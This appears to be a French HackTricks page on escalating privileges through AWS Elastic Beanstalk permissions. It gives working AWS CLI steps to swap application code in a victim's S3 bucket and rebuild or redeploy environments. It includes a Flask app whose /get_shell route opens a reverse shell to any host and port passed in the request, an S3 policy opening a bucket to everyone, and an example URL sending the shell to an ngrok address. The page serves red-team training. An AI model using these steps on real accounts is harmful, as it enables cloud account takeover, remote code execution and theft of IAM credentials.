AWS - Elastic Beanstalk Privesc

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Elastic Beanstalk

Plus d'informations sur Elastic Beanstalk dans:

pageAWS - Elastic Beanstalk Enum

Pour effectuer des actions sensibles dans Beanstalk, vous devrez avoir beaucoup de permissions sensibles dans de nombreux services différents. Vous pouvez vérifier par exemple les permissions accordées à arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk

elasticbeanstalk:RebuildEnvironment, autorisations d'écriture S3 et bien d'autres

Avec des autorisations d'écriture sur le bucket S3 contenant le code de l'environnement et des autorisations pour rebâtir l'application (il est nécessaire d'avoir elasticbeanstalk:RebuildEnvironment et quelques autres liées à S3, EC2 et Cloudformation), vous pouvez modifier le code, rebâtir l'application et la prochaine fois que vous accéderez à l'application, elle exécutera votre nouveau code, permettant à l'attaquant de compromettre l'application et les informations d'identification du rôle IAM associé.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, et plus...

Les autorisations mentionnées ainsi que plusieurs autorisations S3, EC2, cloudformation, autoscaling et elasticloadbalancing sont nécessaires pour créer un scénario Elastic Beanstalk brut à partir de zéro.

  • Créer une application AWS Elastic Beanstalk :

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Si un environnement est déjà créé et que vous ne voulez pas en créer un nouveau, vous pouvez simplement le mettre à jour.

  • Emballez votre code d'application et ses dépendances dans un fichier ZIP :

zip -r MyApp.zip .
  • Téléchargez le fichier ZIP dans un compartiment S3 :

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • Créez une version d'application AWS Elastic Beanstalk :

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • Déployez la version de l'application dans votre environnement AWS Elastic Beanstalk :

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

Tout d'abord, vous devez créer un environnement Beanstalk légitime avec le code que vous souhaitez exécuter dans la victime en suivant les étapes précédentes. Potentiellement un simple zip contenant ces 2 fichiers:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

Une fois que vous avez votre propre environnement Beanstalk en cours d'exécution avec votre shell inversé, il est temps de le migrer vers l'environnement de la victime. Pour ce faire, vous devez mettre à jour la stratégie du Bucket de votre bucket S3 Beanstalk afin que la victime puisse y accéder (Notez que cela ouvrira le Bucket à TOUT LE MONDE) :

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

D'autres façons de soutenir HackTricks :

Dernière mise à jour